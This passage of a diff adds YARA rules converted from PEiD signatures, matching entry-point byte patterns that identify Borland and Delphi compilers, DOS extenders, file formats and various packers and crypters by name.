+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00329_Borland_C___for_Win16_1991_
+{
+    meta:
+        description = "[Borland C++ for Win16 1991]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00330_Borland_C___for_Win32_1994_
+{
+    meta:
+        description = "[Borland C++ for Win32 1994]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+    condition:
+        $a
+}
+
+rule PEiD_00331_Borland_C___for_Win32_1995_
+{
+    meta:
+        description = "[Borland C++ for Win32 1995]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+    condition:
+        $a
+}
+
+rule PEiD_00332_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+    condition:
+        $a
+}
+
+rule PEiD_00333_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+    condition:
+        $a
+}
+
+rule PEiD_00334_Borland_C___
+{
+    meta:
+        description = "[Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00335_Borland_Delphi_3____Portions_Copyright__c__1983_96_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00336_Borland_Delphi_3____Portions_Copyright__c__1983_97_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00337_Borland_Delphi_5____Portions_Copyright__c__1983_99_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00338_Borland_Delphi_DLL_
+{
+    meta:
+        description = "[Borland Delphi DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00339_Borland_Delphi_Setup_Module_
+{
+    meta:
+        description = "[Borland Delphi Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00340_Borland_Delphi_v2_0_
+{
+    meta:
+        description = "[Borland Delphi v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00341_Borland_Delphi_v3_0_
+{
+    meta:
+        description = "[Borland Delphi v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00342_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00343_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00344_Borland_Delphi_v5_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v5.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00345_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00346_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {53 8B D8 33 C0 A3 0? ?? ?? ?0 6A 00 E8 0? ?? ?0 FF A3 0? ?? ?? ?0 A1 0? ?? ?? ?0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00347_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00348_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_00349_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+    condition:
+        $a
+}
+
+rule PEiD_00350_Borland_Delphi_v6_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v6.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00351_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00352_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00353_Borland_Pascal_v7_0_for_Windows_
+{
+    meta:
+        description = "[Borland Pascal v7.0 for Windows]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+    condition:
+        $a
+}
+rule PEiD_00354_Borland_Pascal_v7_0_Protected_Mode_
+{
+    meta:
+        description = "[Borland Pascal v7.0 Protected Mode]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00355_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00356_by_Central_Point_Software_
+{
+    meta:
+        description = "[by Central Point Software]"
+        ep_only = "true"
+    strings:
+        $a = {50 51 52 56 57 8B EB 1E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00357_C_I_Crypt_V0_1____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.1 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a
+}
+
+rule PEiD_00358_C_I_Crypt_V0_2____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.2 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_00359_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+    condition:
+        $a
+}
+
+rule PEiD_00360_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00361_CALS_Raster_graphics_format_
+{
+    meta:
+        description = "[CALS Raster graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {73 72 63 64 6F 63 69 64 3A 20}
+    condition:
+        $a
+}
+
+rule PEiD_00362_Can2Exe_v0_01_
+{
+    meta:
+        description = "[Can2Exe v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+    condition:
+        $a
+}
+
+rule PEiD_00363_CAN2EXE_v0_01_
+{
+    meta:
+        description = "[CAN2EXE v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00364_CauseWay_DOS_Extender_v3_25_
+{
+    meta:
+        description = "[CauseWay DOS Extender v3.25]"
+        ep_only = "true"
+    strings:
+        $a = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+    condition:
+        $a
+}
+
+rule PEiD_00365_CC_v2_61_Beta_
+{
+    meta:
+        description = "[CC v2.61 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00366_CD_Cops_II_
+{
+    meta:
+        description = "[CD-Cops II]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+    condition:
+        $a
+}
+
+rule PEiD_00367_CDS_SS_1_0_beta1____CyberDoom_
+{
+    meta:
+        description = "[CDS SS 1.0 beta1 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00368_CDS_SS_v1_0_Beta_1____CyberDoom___Team_X_
+{
+    meta:
+        description = "[CDS SS v1.0 Beta 1 -> CyberDoom / Team-X]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+    condition:
+        $a
+}
+rule PEiD_00369_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00370_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00371_CERBERUS_v2_0_
+{
+    meta:
+        description = "[CERBERUS v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00372_CExe_v1_0a_
+{
+    meta:
+        description = "[CExe v1.0a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+    condition:
+        $a
+}
+
+rule PEiD_00373_CGM_Graphics_format_
+{
+    meta:
+        description = "[CGM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 2A 08 48 69 4A 61 61 6B 20 32}
+    condition:
+        $a
+}
+
+rule PEiD_00374_CHECKPRG__c__1992_
+{
+    meta:
+        description = "[CHECKPRG (c) 1992]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+    condition:
+        $a
+}
+
+rule PEiD_00375_ChinaProtect____dummy___Sign_by_fly_
+{
+    meta:
+        description = "[ChinaProtect -> dummy ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00376_ChSfx__small__v1_1_
+{
+    meta:
+        description = "[ChSfx (small) v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+    condition:
+        $a
+}
+
+rule PEiD_00377_CICompress_1_0_
+{
+    meta:
+        description = "[CICompress 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00378_CICompress_v1_0_
+{
+    meta:
+        description = "[CICompress v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+    condition:
+        $a
+}
+
+rule PEiD_00379_CipherWall_Self_Extrator_Decryptor__Console__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00380_CipherWall_Self_Extrator_Decryptor__Console__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a
+}
+
+rule PEiD_00381_CipherWall_Self_Extrator_Decryptor__GUI__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00382_CipherWall_Self_Extrator_Decryptor__GUI__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a
+}
+
+rule PEiD_00383_Code_Virtualizer_V1_3_1_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "false"
+    strings:
